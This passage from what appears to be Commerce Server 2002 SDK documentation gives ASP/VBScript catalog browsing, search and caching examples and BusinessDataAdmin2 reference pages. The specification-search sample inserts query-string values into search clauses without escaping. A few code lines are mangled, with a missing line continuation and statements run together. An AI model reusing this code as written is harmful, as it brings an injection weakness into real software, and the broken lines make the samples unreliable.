  3. Filter any recordsets of products, such as those returned from the Category.Products, Category.Search, CatalogManager.Query, CatalogManager.FreeTextSearch, CatalogManager.Search, ProductCatalog.GuaranteedSpecificationSearch, or ProductCatalog.PerformSpecificationSearch methods by specifying an ActiveX Data Objects (ADO) filter on the recordset as "IsActive=1".

    For example, wherever you have code similar to the following:

    rsProducts = oCatalog.GetCategory(strCategoryName).Products

    You need to follow it with:

    rsProducts.filter = "IsActive=1"

Note

  • Caching of HTML can prevent products from appearing on the Web site until the cache is flushed.


Code to Browse a Catalog

This section contains code examples for some of the functions needed to implement browsing. These functions are to find categories in a catalog, to find products in a category, to find product properties, and to display the results. Parameter validation and error handling are not considered in these examples. A more extensive example can be found in the Browse.asp file in the Catalog sitelet, which is in the Commerce Server 2002 Software Development Kit (SDK). The Browse.asp file and its included files demonstrate parameter validation, error handling, and generation of links from recordsets.

The following steps show how to implement browsing:

  1. Get the CatalogManager object and the catalog.

    The CatalogManager object should already be created and initialized in the Global.asa file. Get a local reference to the CatalogManager object and the catalog, as shown in the following code:

    Dim oCatMgr
Dim oCatalog
Set oCatMgr = Application("MSCSCatalogManager")
Set oCatalog = oCatMgr.GetCatalog("Adventure Works Catalog")
  2. Set the catalog language.

    The ProductCatalog object has a language property that allows the user to set the language in which the catalog data is to be displayed. Get a local reference to the ProductCatalog object and set a language for the catalog, as shown in the following code:

    oCatalog.language = "en-us"
  3. Get the categories.

    The categories in a catalog are in a hierarchy. The root categories may or may not have child categories, but they are at the base of the hierarchy. The following example creates a recordset of the root categories:

    Dim rsCategories
Set rsCategories = oCatalog.RootCategories

    The following example shows how the category hierarchy can be traversed. Given a recordset of categories at some level in the hierarchy, the CategoryName field is used to retrieve a recordset of the child categories of the active row in the given recordset:

    Dim strName
' Return the name of the category in the active row of
' the recordset (this would usually be inside a loop).
strName = rsCategories("CategoryName")
Set oCategory = oCatalog.GetCategory(strName)

    After you have the category object, obtaining the child categories is straightforward:

    'oCategory is an existing Category object.
Set rsChildCategories = oCategory.ChildCategories
  4. Get the products.

    The following example assumes that all products are in categories. Root products, that is, products that are not in any category, can exist; however, the usual design calls for all products to belong to a category. Having all products within categories simplifies code and product management. The following code retrieves the products in the "shoes" category:

    Dim rsProducts
Set rsProducts = oCatalog.GetCategory("Boots").Products
  5. Get the details about the product.

    When displaying a product, you will typically want to display some details about that product. The following example creates a recordset of the properties of a specified product:

    ' vProductID is the unique identifier for a product. This example
' uses the ProductCode as the product ID.
Dim rsProductDetail
Set rsProductDetail = _
    oCatalog.GetProduct("AW099-15").GetProductProperties
  6. Display the results.

    The following code example demonstrates how to display a set of products contained in a recordset called rsProducts.

    <br>
<%
' Loop through the recordset of products and
' write out the properties of the products.
' The constants are field names.
Do While Not rsProducts.EOF

    Response.Write "Name: " & _
                   rsProducts("Name") & "<BR>"
    Response.Write "Product Code: " & _
                   rsProducts("ProductID") & "<BR>"
    Response.Write "Description: " & _
                   rsProducts("Description") & "<BR>"

    rsProducts.MoveNext()
Loop
%>


Code to Change How a Category is Displayed

Category names must be unique within a catalog. This prevents using multiple categories with the same category name in a single catalog. For example, if you have a catalog containing a category for men's clothing and a category for women's clothing, then you cannot have a child category named Shoes in both those categories.

All categories in Commerce Server 2002 have a built-in multilingual DisplayName property that does not have to be unique. The DisplayName property defaults to the value of the CategoryName property of the category.

The following example is typical of code in the Commerce Server Retail Solution Site. It demonstrates the simple change needed to use display names:

' CATALOG_PROP_NAME is defined in an include file as "CategoryName".
' Create a new constant for display name field.
CATALOG_DISP_NAME = "DisplayName"
' Substitute CATALOG_DISP_NAME where appropriate.
' This loop writes out the list of available categories
' from a recordset as links to another page in the application:
<%
'...
Do While Not g_rsCategories.EOF
    ' The anchor tags produced below pass the category name to the
    ' file "browse.asp", but have been modified to show the display
    ' name as the hyper text (change shown in bold text).
    %>
    <a href="browse.asp?category=
       <%= Server.URLEncode(g_rsCategories(CATALOG_PROP_NAME)) %>">
       <%= g_rsCategories(CATALOG_DISP_NAME) %>
    </a>
    <br>
    <%
    g_rsCategories.MoveNext()
Loop


Code to Find the Available Catalogs

The names and attributes of the catalogs in the Product Catalog System are available in a recordset returned by the Catalog property of the CatalogManager object. The following example creates a recordset of the available catalogs and prints out a list of the catalog names in a particular language:

Dim oCatMgr
Dim rsCatalogs
' Get a local reference to the CatalogManager
' object created in the Global.asa file.
Set oCatMgr = Application("MSCSCatalogManager")

‘ Get the list of catalogs which have a en-us DisplayName.
Set rsCatalogs = oCatMgr.Catalogs( "Not((DisplayName IS NULL) or ( DisplayName = '' ))"  , , , "en-us")

'Write out the catalog names from the recordset.
If (rsCatalogs.RecordCount > 0) Then
    rsCatalogs.MoveFirst()
    Do While Not rsCatalogs.EOF
        Response.Write rsCatalogs.Fields("DisplayName").Value
        Response.Write "<BR>"
        rsCatalogs.MoveNext()
    Loop
End If


Code to Hide Searchable Categories

For some sites, searchable categories have been defined that reflect product types that are valid across various departments. These categories are intended to facilitate searching, and are different from the hierarchy of categories that are shown to users. Displaying searchable categories on the site could confuse your users.

When displaying categories on the site, your code should first check to see whether the category has the IsSearchable attribute set to True. If so, that category should not be shown. The following example filters the "Shoes" category to remove any searchable child categories. Your code should have similar filters wherever categories are going to be displayed.

' oCatalog is an existing ProductCatalog object.
Dim rsCategories
Set rsCategories = oCatalog.GetCategory("Shoes").ChildCategories

' Remove searchable categories from the recordset.
rsCategories.filter "IsSearchable = FALSE"

After running this code, the rsCategories recordset contains only shoe categories that are appropriate for display.


Code to Perform a Search of a Catalog

The following code example shows a wrapper function that performs a search of a catalog. The code uses typical values for return properties and sorting properties, and simplifies performing a search (both free-text search and SQL WHERE clause) by building the parameters for a call to the CatalogManager.Search method.

The constants used to build the values of the sPropertiesToReturn and sPropertiesToSortOn variables will need to be defined according to your catalog definition.

' Function: rsSearch
'
' Description:
'    Performs a search using typical values.
'    Returns the results as a recordset.
'    iRecordCount gets set to the number of records retrieved.
'
' Parameters:
'    sSQLWhereClause     - the SQL Where Clause to filter against.
'                          Example, "cy_list_price < 100"
'    sFTSPhrase          - the free text string to find.
'                          Example, "tent"
'    iStartingRecord     - return results starting from
'                          this record number.
'    iRecordsToRetrieve  - return maximum this many records.
'    iRecordCount        - return the actually retrieved number
'                          of records in this parameter.
'    sLanguage          - the language to search and results in.
'                          Example, "en-us"
'
' Returns:
'   Recordset with search results.
' -----------------------------------------------------------------------
Function rsSearch(ByVal sSQLWhereClause, _
                          ByVal sFTSPhrase, _
                          ByVal iStartingRecord, _
                          ByVal iRecordsToRetrieve, _
                          ByVal sLanguage, _
                          ByRef iRecordCount)

    ' Declare variables:
    Dim sPropertiesToReturn
    Dim sPropertiesToSortOn
    Dim rsResult
    Dim iClassType
    Dim sCatalogsToSearch

    ' Build the parameter strings to select
    ' properties to return and to control sorting:
    ' "name" and "description" are required product
    ' properties and cannot have null values.
    sPropertiesToReturn = PRODUCT_NAME_PROPERTY_NAME & "," & _
                          PRODUCT_DESCRIPTION_PROPERTY_NAME & "," & _
                          CATALOG_NAME_PROPERTY_NAME & "," & _
                          CATEGORY_NAME_PROPERTY_NAME & "," & _
                          CATALOG_PRODUCTID_PROPERTY_NAME & "," & _
                          CATALOG_VARIANTID_PROPERTY_NAME & "," & _
                          DEFINITION_TYPE_PROPERTY_NAME

    ' "name" is a required product property and cannot have a null value.
    sPropertiesToSortOn = CATEGORY_NAME_PROPERTY_NAME & "," & _
                         PRODUCT_NAME_PROPERTY_NAME

    ' Determine what catalogs to search.
    ' This example assumes that you will always search two catalogs:
    ' CatalogA and CatalogB. You could get this parameter by having
    ' the user select which catalogs to search, or from a function
    ' that selected catalogs based on a user profile.
    sCatalogsToSearch = "CatalogA, CatalogB"

    ' Determine the type of data wanted. This example will return
    ' categories, products, and product families.
    iClassType = cscProductFamilyForVariantsClass Or _
                 cscProductClass Or
                 cscCategoryClass

    ' Call the Search method and return the recordset.
    Set rsSearch = _
          MSCSCatalogManager. Search( _
             sSQLWhereClause, _
             sFTSPhrase, _
             sCatalogsToSearch, _
             iClassType, _
             sPropertiesToReturn, _
             sPropertiesToSortOn, _
             True, _
             iStartingRecord, _
             iRecordsToRetrieve, _
             sLanguage, _
             iRecordCount _
             )

End Function


Code to Join an External Table to Product Recordsets

If you have data that does not fit naturally into the Product Catalog System or that you are already managing separately, you can join a table or view of that data to the product recordsets returned by methods in the Product Catalog System.

Using the CatalogManager.SetJoinTable method, you can specify an external table or view, the join keys, and the type of join. Subsequent calls to the following methods will return the results of the specified join:

  • CatalogManager.FreeTextSearch
  • CatalogManager.Query
  • CatalogManager.Search
  • Category.DescendentProducts
  • Category.Products
  • Category.Search
  • Product.CreateVariant
  • Product.GetProductProperties
  • Product.GetVariantProperties
  • Product.Variants
  • ProductCatalog.GetProductVariant
  • ProductCatalog.GuaranteedSpecificationSearch
  • ProductCatalog.PerformSpecificationSearch
  • ProductCatalog.RootProducts

The following code shows how to set a join with an external table:

' oCatalogManager is CatalogManager object.
' sTargetTable is a string containing the name of the external table.
' This could be a table containing inventory of the products in the
' product catalog.  For example, sTargetTable = "ProductInventory"
' sSourceKey is a string containing the name of the key in product
' catalog.  For example, sSourceKey = "ProductID"
' sTargetKey is a string containing the name of the key in the external
' table.  For example, sTargetKey = "ProductCode"
' eJoinType is a enumeration value to specify the join type.  For
' example, eJoinType = cscOuterJoin

' Call SetJoinTable to specify the external table to join with.
oCatalogManager.SetJoinTable(sTargetTable, _
                             sSourceKey, _
                             sTargetKey, _
                             eJoinType)
' Calling the above methods after calling SetJoinTable() will join the
' results of that method with external table specified


Code to Perform a Specification Search of a Catalog

Performing a specification search is an iterative process. The ProductCatalog.PerformSpecificationSearch method can return more than the recordset of matching data. This additional information can be useful for controlling program flow.

The ProductCatalog.PerformSpecificationSearch method indicates the total number of matching records. You might need to force the user to refine a search if there are too many hits. For performance reasons, you should limit the size of the returned recordset to what can be displayed on a single page. The PerformSpecificationSearch method can provide a recordset of searchable properties and existing values for those properties in an optional parameter. Display these properties and values to the user so that the search can be refined.

The following steps demonstrate the use of the PerformSpecificationSearch method:

  1. A specification search is always in the context of a single catalog. Call the BeginSpecificationSearch method to create the search handle:
    ' oCatalog is catalog object to search.
' sCategoryName is a string containing the name of the
' category to search.
Dim bNoResults      ' Test flag.
Dim sSearchHandle   ' String to hold the accumulated search clauses.
Dim rsFields        ' Recordset to hold the searchable fields
                    ' in the category.
Dim iMatchesFound   ' Holds the number of hits.

' Call BeginSpecificationSearch to create the search handle.
sSearchHandle = oCatalog.BeginSpecificationSearch(sCategoryName, _
                                                  rsFields, _
                                                  iMatchesFound)
' Test if the category is specification searchable.
bNoResults = (rsFields Is Nothing)
If bNoResults Then
    ' Display a message to the user that the
    ' category is not specification searchable.
Else
    ' Process the rsFields recordset to find
    ' searchable Fields (see step 2).
    ' Perform the search (see step 3).
End If
  2. The rsFields recordset contains one field for each property in the category. Each field in the recordset contains a SafeArray of all the available values for that property. Display this information to the user as a series of drop-down lists. After the user has made a selection and posted the form, you add specification clauses for each selected value:
    Dim arr1, arr2
Dim bQuote
Dim sValue
Dim objField, iFieldType
Dim sSearchClause, sPropertyName
Dim iConstraintFieldsCount
Dim iNonConstraintFieldsCount

' Initialize variables.
iConstraintFieldsCount = 0
iNonConstraintFieldsCount = 0

' Separate Fields into searchable and non-searchable arrays.
' GetRequestString() is a wrapper function that strips
' illegal characters from a call to AppFrameWork.RequestString.
ReDim arr1(rsFields.Fields.Count)
ReDim arr2(rsFields.Fields.Count)
For Each objField In rsFields.Fields
    sValue = GetRequestString(objField.Name, _
                  mscsMessageManager.GetMessage( _
                       "L_STEPSEARCH_NO_PREFERENCE_TEXT", _
                       sLanguage) )

    ' sValue will contain the selected value where the user has
    ' made a selection. Where the user did not make a selection
    ' sValue will contain L_STEPSEARCH_NO_PREFERENCE_TEXT
    If sValue = mscsMessageManager.GetMessage( _
                  "L_STEPSEARCH_NO_PREFERENCE_TEXT", sLanguage) Then
        ' Field is not a search constraint.
        arr1(iNonConstraintFieldsCount) = objField.Name
        iNonConstraintFieldsCount = iNonConstraintFieldsCount + 1
    Else
        ' Field is a Search Constraint.
        sPropertyName = objField.Name
        arr2(iConstraintFieldsCount) = sPropertyName
        ' Some data types must be enclosed in quotes.
        ' Look up the DataType attribute for the property
        ' from the property attributes cache.
        iFieldType = _
            MSCSCatalogAttribs.Value(sPropertyName).Value("DataType")

        If (iFieldType = cscString) Or _
           (iFieldType = cscDateTime) Or _
           (iFieldType = cscFilePath) Or _
           (iFieldType = cscEnumeration) Then
            ' If Text OR DateTime OR FilePath OR Multiple Choice.
            bQuote = True
        Else
            bQuote = False
        End If
        ' Build the search clause for one property.
        sSearchClause = ""
        For Each sValue In Request.QueryString(sPropertyName)
            If bQuote Then sValue = """" & sValue & """"
            sSearchClause = sSearchClause & ", " & sValue
        Next
        ' Add the Specification Search Clause that you just built.
        sSearchClause = "[" & sPropertyName & "]" & _
                        " IN (" & _
                        Right(sSearchClause, _
                              Len(sSearchClause) - 2) & _
                        ")"
        Call oCatalog.AddSpecificationSearchClause(sSearchClause, _
                                                   sSearchHandle)

        iConstraintFieldsCount = iConstraintFieldsCount + 1
    End If

' Process the next Field.
Next

ReDim Preserve arr1(iNonConstraintFieldsCount)
ReDim Preserve arr2(iConstraintFieldsCount)
  3. After all the parameters have been built, perform the specification search:
    Set rsResults = _
       oCatalog.PerformSpecificationSearch(sSearchHandle, _
                                           iSearchType, _
                                           , _
                                           iMatchesFound, _
                                           rsFields, _
                                           sColList)
  4. Display the results so that the user can refine the search.


Code to Stage Products and Catalogs by Time

Normally, catalog data is visible to your users as soon as it is placed in the Product Catalog System. It is possible to automatically activate products in a catalog at a predetermined time or date by adding an additional property and then filtering on that property. A similar technique can be used to deactivate products in the Product Catalog System.

The following steps show how to stage products and catalogs by time:

  1. Define a new property of type Date and call it AvailableFrom. Set the AssignToAll attribute to True and the DisplayOnSite attribute to False.
  2. When creating or editing products, you can specify a value for the AvailableFrom property that indicates the date and time that the product should become visible on your Web site.
  3. Filter any recordsets of products, such as those returned from the Category.Products, CatalogManager.Query, CatalogManager.FreeTextSearch, ProductCatalog.GuaranteedSpecificationSearch, or ProductCatalog.PerformSpecificationSearch methods by specifying an ActiveX Data Objects (ADO) filter on the recordset as "AvailableFrom<=NOW". (Where NOW must be replaced by the current date and time, appropriately formatted.)

    For example, where you have code like:

    rsProducts = oCatalog.GetCategory(strCategoryName).Products

    You need to follow it with:

    rsProducts.filter = "AvailableFrom <= " & format(Date, General Date)

    This prevents products from being visible on your Web site until the date and time specified.

Note

  • Caching of HTML might prevent products from appearing on your Web site until the cache is flushed.


Code to Use Caching with a Catalog

This example is based on the Retail Solution Site, but has been substantially simplified for clarity. See the global_cache_lib.asp page for details about all the cache initialization in the site. See the std_cache_lib.asp page for methods that encapsulate writing to and retrieving data from the caches on the site.

A cache can be either a Dictionary or LRUCache object. The following steps demonstrate the use of an LRUCache object to store HTML fragments. Using a Dictionary object is similar, but not identical; see the source code mentioned above for details about using Dictionary objects with the CacheManager object.

You can use caches to store objects, but this approach has a significant limitation. The cache will become invalid as soon as the object goes out of scope. For example, you cannot cache any type of catalog object or recordset between page requests. The Retail site does not cache objects.

The following code demonstrates:

  • How to set up the CacheManager object in the Application_OnStart event of the Global.asa file
  • How to set up the LRUCache object in the Global.asa file.
  • How to access the cache within Active Server Pages (ASP) pages by using the CacheManager object.
  • How to store and retrieve HTML fragments on an ASP page by using the LRUCache object.
  1. Create the CacheManager object in the Global.asa file.
    Dim oCacheManager

Set oCacheManager = Server.CreateObject("Commerce.CacheManager")

' SMachineBaseUrl has been set during initialization.
' It is the fully qualified URL of the application,
' not the localhost URL
oCacheManager.AppUrl = sMachineBaseUrl

'Make the CacheManager object available throughout the application.
Set Application("MSCSCacheManager") = oCacheManager
  2. Create and register the Cache object. For more information about the configuration settings, see LRUCache Object.
    ' Create a configuration dictionary for the cache.
Set dictProductPageCacheConfig = GetDictionary()
' retrieve the connection string
' from the global configuration dictionary
dictProductPageCacheConfig("ConnectionString") = _
    dictConfig.s_TransactionConfigConnectionString dictProductPageCacheConfig("CacheSize") = _
    10000
dictProductPageCacheConfig("TableName") = _
    "CatalogCache_Virtual_Directory"
dictProductPageCacheConfig("CacheName") = _
    "CatalogCache"
dictProductPageCacheConfig("AppUrl") = _
    sMachineBaseURL

' Configure CacheManager For ProductList Fragment Caching oCacheManager.RefreshInterval("ProductPageCache") = _
    0
oCacheManager.RetryInterval("ProductPageCache") = _
    5 * 60
oCacheManager.CacheObjectProgId("ProductPageCache") = _
    "Commerce.LRUCache"
oCacheManager.LoaderProgId("ProductPageCache") = _
    "Commerce.LRUCacheFlush"
Set oCacheManager.LoaderConfig("ProductPageCache") = _
    dictProductPageCacheConfig

' Call GetCache() to register the cache with the Business Desk.
Call oCacheManager.GetCache("ProductPageCache")
  3. Obtain the cache from the CacheManager object on the ASP page.
    Dim oLRUCache
Set oLRUCache = MSCSCacheManager.GetCache("ProductPageCache")
  4. Store and retrieve HTML fragments on an ASP page by using the LRUCache object. The Retail site attempts to retrieve the fragment before rendering new HTML. If no fragment is available from the cache, the site renders new HTML and caches it.
    ' Create a key that uniquely defines the fragment, in this case a product.
Dim sCacheKey

' sCatalogName & sCategoryName & sProductID & sVariantID
' are existing strings on the Product page.
sCacheKey = sCatalogName & sCategoryName & sProductID & sVariantID

' sLanguage is the language of the page.
htmPageContent = oLRUCache.Lookup(sCacheKey & sLanguage)

' Test if a fragment was retreived from the cache.
If IsNull(htmPageContent) Then
    ' Do a lot of work that puts content in htmPageContent.
    Call oLRUCache.Insert(sCacheKey & sLanguage, htmPageContent)
End If


Profiling System Objects

Profiles represent business entities such as customers, companies, products, purchase orders, and accounts. A profile contains properties of the business entity. For example, "Joe User" is a specific customer, and the data concerning "Joe User" is stored as an instance of a customer profile. The structure of the profile is determined by its schema.

The Profile Programming Concepts topic describes the Profiles resource and the objects it exposes.

Objects

Visual Basic Reference | C++ Invocation | Description
BusinessDataAdmin2 | BusinessDataAdmin2 | Imports and exports profile catalogs from the business data store.
ProfileObject | ProfileObject | Provides run-time read/write access to profile property data and read-only access to property attributes.
ProfileService | ProfileService | Allows creation, deletion, and retrieval of instances of profile schemas.

Examples

Example | Description
Code to Connect to the Profiles Store | Describes how to connect to the Profiles store.
Code to Enumerate Errors | Describes how to enumerate all errors generated by the last Profiles resource operation.
Code to Set up Bind Credentials to Directory Stores | Describes how to bind profiles to specific users.
Code to Create a New Profile | Describes how to create a new profile.
Code to Retrieve a Profile | Describes how to retrieve a profile.
Code to Modify a Profile | Describes how to modify the data stored in a profile.
Code to Delete a Profile | Describes how to delete a profile.
Code to Retrieve XML Data and Schema | Describes how to retrieve the Extensible Markup Language (XML) representations of profile data and schemas.
Code to Perform Bulk Operations using ADO and SQL | Describes how ActiveX Data Object (ADO) and SQL are used to perform bulk operations on profile data.
Code to Delete Unused Profiles | Describes how to delete a profile that has not been used for some time.
Code to Decrypt a Persistent Cookie after the Key has changed | Describes how to decrypt old cookies when using rolling key encryption.
Code to Use the ProfileService Object or Commerce Server OLEDB Provider to Update Passwords | Describes how to use the ProfileService object and the Commerce Server OLEDB Provider to update passwords.
Code to Retrieve and Set Multi-valued Attributes | Describes how to use the ProfileService object to retrieve and set multi-valued attributes.
Code to Retrieve Extended Error Information from the Commerce Server OLEDB Provider | Describes how to retrieve extended error information from the Commerce Server OLEDB provider connection object in the event of an error.
Code to Retrieve Custom Attributes on Profile Properties | Describes how to access custom attributes defined on profile properties.

See Also

Business Desk Profiles

Profiles Schema

Profile XML Structures

ProfileObject Object

Profile Concepts

ProfileService Object

Running the Profiles Resource

Managing Encrypted Profile Properties


Profile Programming Concepts

The topics in this section describe the components of the Profiles resource, profiles programming workflow, and the relationships between profiles.

This section contains:

  • Profile Resource Components
  • Profiles Programming Workflow
  • Relationships Between Profiles


Profile Resource Components

The following topics describe the components of the Profiles resource.

ProfileService Object

This object is used to create, retrieve, and delete ProfileObject objects. For more information, see ProfileService Object.

ProfileObject Object

This object, also referred to simply as a profile, is used to access and modify ProfileObject object properties. For more information, see ProfileObject Object.

OLE DB Provider for Commerce Server

This is used to aggregate ProfileObject object data from multiple underlying data stores and expose the data as a single OLE DB Row object. For more information, see the OLE DB 2.5 specification in MSDN and OLE DB Provider for Commerce Server.

Profile Definition Designer

Available through Commerce Server Business Desk, the Profile Definition Designer provides a user interface to extend and delete current profile schemas. For more information, see Adding Properties to a Profile Definition.

Profiles Resource

Available through Commerce Server Manager in the Microsoft Management Console (MMC), the Profiles resource provides a user interface to create new profile schemas. For more information, see Running the Profiles Resource.

Profiles Definition Store

This is a group of tables in a Microsoft SQL Server database that stores profile definitions, site terms, and named expressions.

Profiles Data Store

This is a Microsoft SQL Server database, an OLE DB compliant database, or an Active Directory storage that stores instance data for profiles.


Profiles Programming Workflow

A typical series of events involved in programming with profiles includes:

  1. Initializing the Profiling System: once you have connected to the profile store, you can initialize the Profiling System using the appropriate profiles definition. For an example, see Code to Connect to the Profiles Store.
  2. Creating a new profile: you create an empty profile using a profile schema; after this, you can populate the properties of that profile and save it to the profiles store. For an example, see Code to Create a New Profile.
  3. Retrieving the profile by specifying the primary key value and the schema name, then setting multi-valued attributes on the profile. For an example, see Code to Retrieve a Profile.
  4. Retrieving profile schema information: you can retrieve a list of all defined profile schema names, then retrieve the schema corresponding to one of those names. For an example, see Code to Retrieve XML Data and Schema.
  5. Working with the Commerce Server OLEDB Provider to update profile information: you can use this provider to update and save profile data. For an example, see Code to Use the ProfileService Object or Commerce Server OLEDB Provider to Update Passwords.
  6. Decrypting cookies using an old encryption key: if you have stored obsolete keys, you can decrypt cookies stored with that obsolete key. For an example, see Code to Decrypt a Persistent Cookie after the Key has changed.
  7. Deleting profiles: care must be taken when deleting profiles due to possible expression dependencies on the deleted profile. For an example, see Code to Delete a Profile.


Relationships between Profiles

In Commerce Server 2002, explicit relationships between profiles are not supported. If you want to establish a relationship between profiles, you can follow one of two strategies:

  • Use a multivalued property that stores the primary key field of the related profile. An example of relating users and addresses would entail using the UserObject profile to store the AddressId values of the user shipping address, billing address, work address, and so on. This multivalued property can be written to and retrieved using the ProfileService object.
  • The second approach to establishing the relationship is by using the Commerce Server OLEDB query path. An example of this approach is to define a UserId property on the Address profile, then, using Commerce Server OLEDB queries, retrieve the recordset of addresses related to a particular user.


BusinessDataAdmin2 Object [C++]

BusinessDataAdmin2 Object [Visual Basic]

Use this object to import and export profile catalogs from the business data store.

ProgID: | Commerce.BusinessDataAdmin2 (Externally creatable)
COM Class Name: | BusinessDataAdmin2
Type Library Name: | Microsoft Commerce 2002 BizData Admin Type Library
DLL Name: | BizDataManager.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _BusinessDataAdmin2
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the _BusinessDataAdmin2 interface to access the properties and methods of the BusinessDataAdmin2 object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Connect | Connects the object to the profile data store.
ExportCatalogs | Exports a profile catalog from the profile data store.
GetSiteTerms | Creates an XML document containing the site terms.
ImportCatalogs | Imports a profile catalog to the profile data store.
[Visual Basic]
Method | Description
Connect | Connects the object to the profile data store.
ExportCatalogs | Exports a profile catalog from the profile data store.
GetSiteTerms | Creates an XML document containing the site terms.
ImportCatalogs | Imports a profile catalog to the profile data store.

Remarks

The BusinessDataAdmin2 object has been added to Microsoft Commerce Server 2002 to provide access to the profile data store. The BusinessDataAdmin (BDAO) object that exists in Commerce Server 2000 and all editions of Commerce Server 2002 is intended for internal use only and is intentionally not documented.


_BusinessDataAdmin2 Methods [C++]

BusinessDataAdmin2Method [Visual Basic]

Methods

[C++]
Method | Description
Connect | Connects the object to the profile data store.
ExportCatalogs | Exports a profile catalog from the profile data store.
GetSiteTerms | Creates an XML document containing the site terms.
ImportCatalogs | Imports a profile catalog to the profile data store.
[Visual Basic]
Method | Description
Connect | Connects the object to the profile data store.
ExportCatalogs | Exports a profile catalog from the profile data store.
GetSiteTerms | Creates an XML document containing the site terms.
ImportCatalogs | Imports a profile catalog to the profile data store.


_BusinessDataAdmin2::Connect Method [C++]

BusinessDataAdmin2.Connect Method [Visual Basic]

Use this method to connect the object to the profile data store.

Definition

[C++]
HRESULT _BusinessDataAdmin2::Connect(
  VARIANT* connectString,
  VARIANT* UserName,
  VARIANT* Pwd,
);
[Visual Basic]
Sub Connect(
  connectString As Variant,
  Optional UserName As Variant,
  Optional Pwd As Variant
)

Parameters

connectString [C++]
[in] A pointer to a VARIANT that contains the connection string.
connectString [Visual Basic]
A Variant that contains the connection string.
UserName [C++]
[in, optional] A pointer to a VARIANT that contains the user name. The default value is "". Use this parameter only if the connection string does not contain a user name.
UserName [Visual Basic]
A Variant that contains the user name. The default value is "". Use this parameter only if the connection string does not contain a user name.
Pwd [C++]
[in, optional] A pointer to a VARIANT that contains the password. The default value is "". Use this parameter only if the connection string does not contain a password.
Pwd [Visual Basic]
A Variant that contains the password. The default value is "". Use this parameter only if the connection string does not contain a password.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) or S_FALSE (&H00000001) to indicate success and to either standard or custom COM error values to indicate failure. If this method returns a property or object it will return Nothing on failure. The method may succeed and yet return Nothing due to a subtle syntax error or a request for a property or object that does not exist. Test the return value for Nothing before relying on it. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
ERR_MISSING_COREDLL | [C++] 0x800A00B9 [Visual Basic] &H800A00B9 (185) | The Microsoft Commerce Server Core library is missing, not registered, or could not load properly. Please reinstall Commerce Server 4.0. (File: '%0\\McscCore.dll')
ERR_WRONG_PARAM | [C++] 0x800A0072 [Visual Basic] &H800A0072 114 | Error: Wrong input parameter (check for Empty or Null input parameter)
ERR_INVALID_CONNSTR_TOKENS | [C++] 0x800A00CE [Visual Basic] &H800A00CE 206 | Operations cannot be performed against the Master database.

Remarks

This method must be called prior to calling either the ExportCatalogs or ImportCatalogs method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' strConnect is a valid connection string
' that contains the user ID and password.

myBusinessDataAdmin2.Connect strConnect

See Also

[C++] BusinessDataAdmin2 Object

[Visual Basic] BusinessDataAdmin2 Object


_BusinessDataAdmin2::ExportCatalogs Method [C++]

BusinessDataAdmin2.ExportCatalogs Method [Visual Basic]

Use this method to export the profile catalog (profile schema) in the business data store to an XML file.

Definition

[C++]
HRESULT _BusinessDataAdmin2::ExportCatalogs(
  BSTR* sFileName,
  VARIANT_BOOL* bRemoveCredentials
);
[Visual Basic]
Sub ExportCatalogs(
  sFileName As String,
  Optional bRemoveCredentials As Boolean
)

Parameters

sFileName [C++]
[in, out] A pointer to A BSTR that specifies the file that will contain the exported profile catalog. This is a local file path — it cannot be a URL.
sFileName [Visual Basic]
A String that specifies the file that will contain the exported profile catalog. This is a local file path — it cannot be a URL.
bRemoveCredentials [C++]
[in, optional] A pointer to a VARIANT_BOOL that specifies whether to remove the credentials from the connection strings in the profile catalog. A value of True indicates remove the credentials. A value of False indicates do not remove the credentials. The default value True.
bRemoveCredentials [Visual Basic]
A Boolean that specifies whether to remove the credentials from the connection strings in the profile catalog. A value of True indicates remove the credentials. A value of False indicates do not remove the credentials. The default value is True.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
ERR_NOCONNECTION | [C++] 0x800A00BF [Visual Basic] &H800A00BF 191 | No connection is open to the database. The Connect() method should be called first.
ERR_WRONG_PARAM | [C++] 0x800A0072 [Visual Basic] &H800A0072 114 | Error: Wrong input parameter (check for Empty or Null input parameter)
ERR_PROFILE_NOTFOUND | [C++] 0x800A0075 [Visual Basic] &H800A0075 117 | Cannot find profile '%0'.
ERR_SOURCE_NOTFOUND | [C++] 0x800A0071 [Visual Basic] &H800A0071 113 | Cannot find data-source '%0' in catalog '%1'.
ERR_PRIMARYKEY | [C++] 0x800A00AB [Visual Basic] &H800A00AB 171 | Profile '%0' could not be created/updated because it does not have exactly one primary key defined.
ERR_JOINKEY | [C++] 0x800A00AC [Visual Basic] &H800A00AC 172 | Profile '%0' could not be created/updated because it does not have exactly one join key defined.
ERR_INVALIDTYPE_RDNATTR | [C++] 0x800A00AD [Visual Basic] &H800A00AD 173 | The profile-property '%0' is marked as an RDN-attribute, but is not of type 'STRING'.
ERR_INVALID_HASHKEY | [C++] 0x800A00AE [Visual Basic] &H800A00AE 174 | The profile-property '%0' is marked as a hashing key, but is not of type 'STRING'.
ERR_INVALID_UNIQUEKEY | [C++] 0x800A00AF [Visual Basic] &H800A00AF 175 | The profile-property '%0' is marked as a unique, primary, and/or join key, but is not of type 'STRING' or 'NUMBER'.
ERR_INVALIDMAP | [C++] 0x800A00B3 [Visual Basic] &H800A00B3 179 | The profile property '%0' is mapped to a data member in a source which is not referenced by the join key.
ERR_DUPLICATEJOINMAP | [C++] 0x800A00B4 [Visual Basic] &H800A00B4 180 | The join key '%0' references more than one data member from a single source. A join key may map to only one member from a data object.
